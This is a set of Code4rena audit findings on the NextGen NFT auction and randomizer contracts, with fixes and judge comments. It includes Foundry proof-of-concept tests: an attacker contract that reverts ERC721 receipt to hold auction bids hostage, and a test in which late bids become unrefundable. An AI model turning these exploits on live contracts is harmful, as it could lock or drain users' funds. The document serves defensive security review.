function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ // the code uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); //console.log(auctionInfoData[_tokenid].length); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); - (bool success, ) = payable(owner()).call{value: highestBid}(""); + (bool success, ) = payable(ownerOfToken).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); //rest of the code }
Access Control
#0 - c4-pre-sort
2023-11-20T01:02:28Z
141345 marked the issue as duplicate of #245
#1 - c4-judge
2023-12-08T22:26:26Z
alex-ppg marked the issue as satisfactory
#2 - c4-judge
2023-12-09T00:22:20Z
alex-ppg changed the severity to 2 (Med Risk)
🌟 Selected for report: The_Kakers
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0xJuda, 0x_6a70, 0xarno, 0xpiken, Arabadzhiev, Bauchibred, BugsFinder0x, BugzyVonBuggernaut, ChrisTina, DeFiHackLabs, Delvir0, HChang26, Haipls, Jiamin, Juntao, KupiaSec, Madalad, Neon2835, Nyx, Ocean_Sky, SpicyMeatball, Talfao, Taylor_Webb, Timenov, Tricko, ZdravkoHr, _eperezok, alexxander, amaechieth, bdmcbri, bronze_pickaxe, circlelooper, crunch, cu5t0mpeo, dimulski, fibonacci, funkornaut, immeas, ke1caM, lsaudit, nuthan2x, r0ck3tz, rotcivegaf, spark, tnquanghuy0512, twcctop, xeros
0.9407 USDC - $0.94
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L112
auctionDemo#claimAuction
is called by the auction winner or admin when the auction is ended. This function sents NFT token to the winner's address, the winning bid to the previous owner of NFT and refunds all bidders that do not win an auction:
File: AuctionDemo.sol 104: function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ 105: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); 106: auctionClaim[_tokenid] = true; 107: uint256 highestBid = returnHighestBid(_tokenid); 108: address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); 109: address highestBidder = returnHighestBidder(_tokenid); 110: for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { 111: if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { 112: IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); 113: (bool success, ) = payable(owner()).call{value: highestBid}(""); 114: emit ClaimAuction(owner(), _tokenid, success, highestBid); 115: } else if (auctionInfoData[_tokenid][i].status == true) { 116: (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); 117: emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); 118: } else {} 119: } 120: }
At line 112 contract transfers NFT to the winner's address using ERC721.safeTransferFrom
. However, this call includes the onERC721Received
hook, which would allow an attacker to cause DOS of the claimAuction
function by simply reverting any call. This would lock all bids inside the auction contract until the attacker would not change the behavior of the onERC721Received
function on its address.
The auction winner could cause permanent DOS on the auctionDemo#claimAuction
function blocking all bids inside the auction contract. An attacker could turn off DOS, releasing hostage assets at any time, and require redemption for this.
Next foundry test could show an exploit scenario:
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import "./Base.t.sol"; import "forge-std/Test.sol"; contract HighestBidderDos is Base, Test { Attacker attacker; address user; function setUp() public { attacker = new Attacker(); user = makeAddr("user"); _deploy(); skip(1 days); _initAuction(); } function test_exploit() public payable { vm.deal(user, 1 ether); vm.prank(user); auction.participateToAuction{value: 1 ether}(tokenId); vm.deal(address(attacker), 2 ether); vm.prank(address(attacker)); auction.participateToAuction{value: 2 ether}(tokenId); uint256 endTime = nextGenMinterContract.getAuctionEndTime(tokenId); vm.warp(endTime); // Transfer of NFT is reverted when onERC721Received hook is called on the attacker's address vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer"); auction.claimAuction(tokenId); // Attacker could release hostage assets at any time attacker.allowClaim(); auction.claimAuction(tokenId); } } contract Attacker { bool shouldRevert = true; function allowClaim() external { shouldRevert = false; } function onERC721Received(address, address, uint256, bytes memory) external view returns (bytes4) { if (shouldRevert) { revert(); } return hex'150b7a02'; } }
This test requires a Base.t.sol
file: https://gist.github.com/sashik-eth/accf61913418dddc86d94ff5ae6fe9bd
Consider transferring NFT to the winner's address using the ERC721.transferFrom
function instead of the ERC721.safeTransferFrom
, this would not allow the auction winner to block claimAuction
function.
Token-Transfer
#0 - c4-pre-sort
2023-11-20T01:01:56Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:14:17Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:14:42Z
alex-ppg marked the issue as duplicate of #1759
#3 - c4-judge
2023-12-08T22:08:15Z
alex-ppg marked the issue as satisfactory
#4 - c4-judge
2023-12-09T00:23:13Z
alex-ppg changed the severity to 2 (Med Risk)
🌟 Selected for report: HChang26
Also found by: 0x3b, 0xMAKEOUTHILL, 0xSwahili, 0xarno, ABA, DeFiHackLabs, Eigenvectors, Haipls, Kow, MrPotatoMagic, Neon2835, Nyx, Zac, alexfilippov314, ayden, c3phas, immeas, innertia, lsaudit, merlin, mojito_auditor, oakcobalt, ohm, oualidpro, peanuts, phoenixV110, sces60107, t0x1c, tnquanghuy0512, ubl4nk, volodya, xAriextz
10.9728 USDC - $10.97
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57-L61 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L130
The users can continue placing bids on an NFT even after the auction has officially ended and the NFT has been claimed by the highest bidder. As a result, these late bids get accepted and later on cannot be refunded leading to users losing their Ether.
The AuctionDemo.sol
contract allows users to continue placing bids on an NFT even after the auction has officially ended and the NFT has been claimed by the highest bidder when block.timestamp == minter.getAuctionEndTime(tokenId)
. This issue can lead to several adverse consequences, including users losing their Ether without a way to cancel their bids.
The Attack Scenario
The auction contract includes a participateToAuction
function that allows users to place bids.
The claimAuction
function is designed to be called by the highest bidder or the owner after the auction has ended. It sets the auctionClaim
status to true
to mark the NFT as claimed.
Imagine multiple users try to place bids via participateToAuction
while the auction is ongoing. The auction's end time is set, for example, to block #123456, and the current block timestamp is also block #123456 satisfying the condition block.timestamp == minter.getAuctionEndTime(tokenId)
Since the highest bidder can call claimAuction
function, he/she front-runs other users successfully claiming the NFT. As a result, the auctionClaim
status is set to true
.
However, other users' bids are still pending in the mempool and get executed after the NFT is already auctioned. The participateToAuction
function does not check for the auctionClaim
status and accepts these bids since the condition block.timestamp <= minter.getAuctionEndTime(_tokenid)
returns true
.
Now, users who placed bids cannot cancel them due to the condition in the cancelBid
function, which checks that block.timestamp is less than or equal to the auction's end time. Since the auction has ended and the NFT is claimed, users lose their Ether with no chance to cancel their bids.
Find the complete PoC template at https://gist.github.com/zzzuhaibmohd/9bf9d4961472560f1e03ed9a640debd6
for setup run forge init
and place the file nextGen.t.sol
in test Folder
function test_usersCanBidPostClaim() public { vm.warp(25 days); createCollection("Test Collection 1", 1); // 1. Mint a token from collection Id and set to to auction minter.mintAndAuction( bob, //_recipient "Bob the Builder", //_tokenData 0, //_saltfun_o 1, //_collectionID block.timestamp + 5 days // _auctionEndTime ); uint256 tokenId = 10000000000; // the tokenId of the auctioned NFT // 2. Bob provides approval to the auction contract vm.prank(bob); IERC721(core).approve(address(auction), tokenId); // 3. Alice places the bid for tokenId vm.prank(alice); auction.participateToAuction{value: 0.05 ether}(tokenId); vm.warp(30 days); // 4. Verify the block.timestamp == minter.getAuctionEndTime(tokenId) or else the exploit wont work assertEq(block.timestamp, minter.getAuctionEndTime(tokenId)); //Note: Assume that the Alice tx is the first tx that gets mined in the block. //One of the reasons would Alice paying higher gas price to prevent higher bids for the NFT // 5. Alice claims the NFT transaction vm.prank(alice); auction.claimAuction(tokenId); assertEq(core.ownerOf(tokenId), alice); //6. eve tries to snipe the NFT by placing a higher bid but Alice tx is mined first vm.prank(eve); auction.participateToAuction{value: 0.1 ether}(tokenId); //7. New block is mined and eve now tries to cancel the bid but it reverts with "Auction ended" vm.warp(block.timestamp + 1); assertNotEq(block.timestamp, minter.getAuctionEndTime(tokenId)); vm.prank(eve); vm.expectRevert("Auction ended"); auction.cancelBid(tokenId, 0); }
Foundry
To mitigate this vulnerability, modify the participateToAuction
function to include a check for the auctionClaim
status. If the NFT has already been claimed, no further bids should be accepted.
function participateToAuction(uint256 _tokenid) public payable { + require(!auctionClaim[_tokenid], "Auction already claimed"); require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); auctionInfoData[_tokenid].push(newBid); }
DoS
#0 - c4-pre-sort
2023-11-15T08:48:58Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:33:24Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-02T15:35:31Z
alex-ppg marked the issue as duplicate of #1926
#3 - c4-judge
2023-12-08T18:51:57Z
alex-ppg marked the issue as satisfactory
#4 - c4-judge
2023-12-09T00:21:41Z
alex-ppg changed the severity to 2 (Med Risk)
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0x3b, Arabadzhiev, DeFiHackLabs, Fulum, Madalad, MrPotatoMagic, SpicyMeatball, Tadev, ZanyBonzy, ZdravkoHr, alexfilippov314, audityourcontracts, cheatc0d3, devival, dy, evmboi32, immeas, lsaudit, mrudenko, oakcobalt, oualidpro, pipidu83, r0ck3tz, rishabh, rotcivegaf, tpiliposian, xAriextz
175.1934 USDC - $175.19
keyhash
used to requestRandomWords is set to Goerli Network instead of Ethereum MainnetThe public keyHash
variable is set to specific value (0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15), which is intended for use on the Goerli network. However, the contract is supposed to be deployed on the Mainnet, and the keyHash value is incompatible with the Mainnet's Chainlink VRF (Verifiable Random Function) service. Consequently, any attempts to use the requestRandomWords function for VRF v2 on the Mainnet will fail due to this mismatch.
To resolve this issue and ensure the smart contract's compatibility with the Mainnet, it is essential to update the keyHash
variable to the appropriate value provided by Chainlink for the Mainnet VRF service. Additionally, the updateCallbackGasLimitAndKeyHash function can be utilized to allow for dynamic updates of this value in the future, should it need to be changed again.
addRandomizer
function accepts any arbitray address as the randomizer contractThe addRandomizer
function currently allows an administrator to associate any arbitrary address with a collection as long as the associated contract returns true for the isRandomizerContract()
function. This approach lacks proper validation and control over which randomizer contract is associated with the collection, potentially leading to incorrect configurations.
To address these issues and enhance security, it is recommended to introduce an enum to represent the available randomizer options (e.g., RandomizerRNG, RandomizerVRF, RandomizerNXT). The admin select the proper enum value to assign the randomizer contract for a collection.
randomPool#getWord
function return the same value for id == 0 and 1File: XRandoms.sol 28: if (id==0) { 29: return wordsList[id]; 30: } else { 31: return wordsList[id - 1]; 32: }
This would result in the appearance word "Acai" two times more frequently than other words, while the word "Watermelon" would never appear as a return value.
Consider removing the else
branch in randomPool#getWord
.
fulfillRandomWords
function in RandomizerRNG
and RandomizerVRF
contracts could set the same hash for two different tokenshttps://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerRNG.sol#L49 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerVRF.sol#L66
File: RandomizerRNG.sol 48: function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override { 49: gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers,requestToToken[id]))); 50: }
bytes32(abi.encodePacked(numbers,requestToToken[id]))
this code expects to return a mix of returned random numbers and tokens ID, it's probably used to guarantee that two different tokens would never be filled with the same hash. However, casting to bytes32
would cut off any data that goes after the first random number. This would result in a hash collision when two different tokens have the same hash in case if random source would ever return the same random number.
Consider setting the keccak256
hash of tokenId and random number mix instead of its bytes32
casted value.
#0 - 141345
2023-11-25T08:25:07Z
1794 DeFiHackLabs l r nc 1 0 0
L 1 d dup of https://github.com/code-423n4/2023-10-nextgen-findings/issues/1611 L 2 l L 3 d dup of https://github.com/code-423n4/2023-10-nextgen-findings/issues/508 L 4 d dup of https://github.com/code-423n4/2023-10-nextgen-findings/issues/852
#1 - c4-pre-sort
2023-11-25T08:27:51Z
141345 marked the issue as sufficient quality report
#2 - alex-ppg
2023-12-08T15:03:57Z
The Warden's QA report has been graded A based on a score of 23 combined with a manual review per the relevant QA guideline document located here.
The Warden's submission's score was assessed based on the following accepted findings:
#3 - c4-judge
2023-12-08T15:04:03Z
alex-ppg marked the issue as grade-a